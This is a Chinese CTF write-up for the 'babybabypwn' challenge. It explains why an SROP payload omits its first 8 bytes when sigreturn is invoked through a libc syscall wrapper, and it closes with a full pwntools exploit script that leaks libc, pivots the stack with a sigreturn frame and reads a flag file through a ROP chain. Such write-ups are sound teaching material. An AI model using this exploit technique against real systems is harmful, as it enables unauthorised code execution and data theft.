[V&N2020 公开赛]babybabypwn
写在开头,感谢“影二つ”师傅的指点。
题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节。
在看题目之前,先来学习一下call这个汇编指令。
我个人理解call就是进入一个函数,但是执行完函数之后程序如何能够再返回执行call的下一条指令呢?答案是先把call下面的一条指令地址压入栈。我们来调试一下看看。
1 int main() 2 { 3 write(1,"Hello,dear.\n",0xc); 4 return 0; 5 }
这里用gcc a.c -o a编译成可执行文件。
用pwndbg进行调试。
在没有call write之前,rbp和rsp都是指向0x7fffffffdab0的,call write下面的一条指令是mov eax,0,这条指令的地址是0x40053a,当单步步入进入call之后。
可以看到rsp被抬高了,原因是将0x40053a压入栈了。
当程序执行完call之后,栈又恢复到了执行call之前的样子。所以大概思路就理清楚了,在执行call之前,程序会将call的下一条指令压入栈,当执行到ret的时候,就又恢复到了原来的栈布局。
接下来看一下这道题,这道题的sys_rt_sigreturn,走的并不是底层的系统调用。
ida识别出来是call的syscall函数。
这里的syscall,并不是系统调用的syscall,而是syscall函数。因为srop进行栈恢复的时候是根据rsp进行恢复的,这里进入syscall函数之后,rsp被提高了8个字节,所以在写payload的时候需要省去8个字节。
还是动态调试跟进去看一下。
这里可以看到,进入syscall函数之后,rsp也是被抬高了8个字节,而箭头所指的syscall,才是真正的系统调用,到这里,要省去前面的8个字节的问题就算是讲清楚了。
剩下的就是一些常规的利用了,不过我还是第一次在libc的bss段写rop链。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 p.recvuntil(': ') 9 libc_base = int(p.recvuntil('\n')[:-1],16)-libc.symbols['puts'] 10 print 'libc_base-->'+hex(libc_base) 11 write = libc_base+libc.symbols['write'] 12 read = libc_base+libc.symbols['read'] 13 open1 = libc_base+libc.symbols['open'] 14 pop_rdi = libc_base+0x21112 15 pop_rsi = libc_base+0x202f8 16 pop_rdx = libc_base+0x1b92 17 bss = libc_base+libc.bss()+0x400 18 19 sigframe = SigreturnFrame() 20 sigframe.rdi = 0 21 sigframe.rsi = bss 22 sigframe.rdx = 0x200 23 sigframe.rsp = bss 24 sigframe.rip = read 25 payload = str(sigframe) 26 27 p.sendafter('message: ',payload[8:]) 28 29 payload = p64(pop_rdi)+p64(bss+0x98)+p64(pop_rsi)+p64(0)+p64(open1) 30 payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(read) 31 payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(write)+'flag\x00' 32 p.send(payload) 33 print p.recv()